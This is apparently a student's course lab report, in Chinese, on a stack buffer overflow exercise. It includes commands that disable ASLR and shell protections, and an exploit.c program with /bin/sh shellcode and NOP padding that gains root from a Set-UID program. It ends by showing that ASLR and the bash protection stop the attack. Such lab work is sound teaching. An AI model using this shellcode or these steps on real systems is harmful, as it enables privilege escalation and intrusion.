| 这个作业属于哪个课程 | <2020-2021-1Linux内核原理与分析）> |
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| 这个作业要求在哪里 | <2020-2021-1Linux内核原理与分析第十一周作业> |
| 这个作业的目标 | 学习巩固缓冲区溢出相关知识 |
| 作业正文 | https://www.cnblogs.com/mazhuhong/ |
实验内容：缓冲区溢出漏洞实验
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
实验步骤：
1.实验前准备：
输入以下代码安装相关包，因为实验楼环境为64位环境，为了方便观察汇编语句，32位环境更加方便一些
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
2.正式实验
注意：Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这是一种防御缓冲区溢出攻击的方式，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。即使能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 目录中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
这段代码的功能是读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
接下来编译该程序并设置SETUID
注意到命令行中的 –fno-stack-protector，这是因为GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
接下来在tmp目录下新建exploit.c文件，其中代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
通过gdb调试获取shellcode的位置
可以看出esp中的地址
所以我们在地址 0x080484ee 处设置断点。
图中即为str的地址
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
修改代码如图：
然后编译exploit.c代码
如图所示，我们成功攻击获取到了root权限
3.实验练习：
1、按照实验步骤进行操作，攻击漏洞程序并获得 root 权限。
2、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
可以看到攻击失败
3、将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。
通过实验，发现将 /bin/sh 重新指向 /bin/bash（或/bin/dash）后，缓存区溢出也不能攻击
4.实验总结：
通过这次实验，我明白了什么是缓冲区溢出攻击，即通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的，从而对Linux系统有了进一步的了解，对学习本课程有了很大的帮助。